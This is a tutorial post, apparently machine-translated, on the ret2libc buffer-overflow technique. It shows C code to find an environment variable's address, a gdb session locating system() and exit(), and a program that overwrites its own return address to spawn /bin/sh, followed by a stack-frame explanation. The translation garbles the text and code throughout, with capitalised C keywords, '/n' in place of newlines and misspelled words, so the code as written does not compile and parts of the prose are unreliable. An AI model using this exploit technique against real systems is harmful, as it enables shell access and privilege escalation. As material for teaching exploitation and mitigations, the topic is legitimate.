Shellcode 2. Plus2: ret2libc instance

 

At the end of the <Summary of vulnerability elevation> ret2libc, the original book does not have detailed resources. However, understanding this will be of great help to circumvent the unexecutable stack (nx-stack) in the future. In view of this, I have found some relevant information on the network and conducted relevant experiments.

The basic idea behind the "Return to Libc" attack is that even though the stack has been marked "Non Executable", it can still be overwritten and upted. we are thus still in control of the return address on the stack and hence control EIP. libc is mapped into program memory of most processes and thus we can access the function cballs by their address in memory. in this video, we will look at how to find the addresses for the system () and exit () CILS in Libc and use them to spawn a shell from a vulnerable program.

From: http://www.securitytube.net/Buffer-Overflow-Primer-Part-8-(Return-to-Libc-Theory)-video. aspx

How to find the environment variable address

 

// File: get_env_addr.c

 

# Include <stdio. h>

# Include <stdlib. h>

 

Main (int argc, char ** argv)

{

Char * addr = getenv (argv [1]);

 

Printf ("Address of % s is % p/n", argv [1], addr );

Printf ("String present there is % s/n", addr );

Return 0;

}

 

Sep @ debian :~ /Shellcode/ret2libc $ export SH =/bin/sh; set the environment variable

Sep @ debian :~ /Shellcode/ret2libc $ gcc get_env_addr.c

Sep @ debian :~ /Shellcode/ret2libc $./a. out SH

Address of SH is 0xbfffff7b; get the Address of the Environment Variable SH

String present there is/bin/sh

Sep @ debian :~ /Shellcode/ret2libc $

Ret2libc

The following example can be written without passing through nx-stack to call the system function execution/bin/sh to get a shell. It only shows the possibility of this technology.

First, you can get the address of the system () and exit () Functions and debug a program at will:

 

Sep @ debian :~ /Shellcode/ret2libc $ gdb./hellworld

GNU gdb 6.3-debian

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

Welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-linux"... Using host libthread_db library "/lib/libthread_db.so.1 ".

 

(Gdb) break main

Breakpoint 1 at 0x804838a

(Gdb) r

Starting program:/home/sep/shellcode/ret2libc/hellworld

 

Breakpoint 1, 0x0804838a in main ()

(Gdb) p system

$1 ={< text variable, no debug info >}0x4005b790 <system>

(Gdb) p exit

$2 = {<text variable, no debug info >}0x40046a80 <exit>

(Gdb)

 

Note that 0x4005b790 is the system () Address and 0x40046a80 is the exit () address. Combined with the address 0xbfffff7b of SH =/bin/sh, we have obtained all the elements. The program is as follows:

 

// File: ret2libc. c

// Gcc ret2libc. c-mpreferred-stack-boundary = 2

 

# Include <stdio. h>

 

# Define SYSTEM 0x4005b790

# Define EXIT 0x40046a80

# Define SHELL 0xbfffff7b

# Define DEFAULT_OFFSET 0

Int main (int argc, char * argv [])

{

Int * ret;

Int offset = DEFAULT_OFFSET;

If (argc> 1) offset = atoi (argv [1]);

Ret = (int *) & ret + 2; // note the position of the ret and offset variables in the stack.

(* Ret ++) = (int) SYSTEM;

(* Ret ++) = (int) EXIT;

(* Ret) = (int) (SHELL + offset );

}

 

In program execution, the position of string (here/bin/sh) may run out some offset (or may not), and you need to adjust it slowly, so the program here can dynamically adjust the location of the environment variable.

 

Sep @ debian :~ /Shellcode/ret2libc $ gcc ret2libc. c-mpreferred-stack-boundary = 2

Sep @ debian :~ /Shellcode/ret2libc $./a. out

Sh-2.05b $

 

Compile and run the shell.

 

 

Question: How does system () obtain parameters?

Put the system () address in the RET location, which can be understood to point the EIP to system (), but put the/bin/sh environment variable address in RET + 2, how does one understand that the string "/bin/sh" is used as the system () parameter?

 

When the program executes a function normally, the parameter stack order is the opposite of the order in the code. Execute CALL <FUNC>, CALL to push the address of the next command (in this example, the address of exit () into the stack, and reduce ESP by 4. When <FUNC> is returned, the RET stack is popped up, So ESP points to the address after RET.

 

Now, the execution process should be redirected to the system () to be executed (). The system will press the next instruction address (the exit () address) of the CALL system () into RET (note: the RET here refers to the RET on the system () function stack, it is assumed that the required parameter is waiting for it on the stack, and the first parameter is located after RET, which is a normal operation of the stack. Therefore, put the address returned by <Execution system ()> and <parameter> in the eight bytes after <system () Address>. When the system jumps to system, the system will think that the required parameter is waiting for it on the stack.

 

We constructed the stack frame content of system.

 

Recall the frame structure of the stack in <Stack Overflow> with comments on the right side:

System () stack frame

+ --------------- + Low memory address, top stack

|

+ --------------- +

| Local variable |

+ --------------- +

| EBP |

+ --------------- +

| RET | exit () Address

+ --------------- +

| Parameter 1 | string/bin/sh address

+ --------------- +

| Parameter 2 |

+ --------------- +

|

+ --------------- + High memory address, bottom Stack

 

From AZURE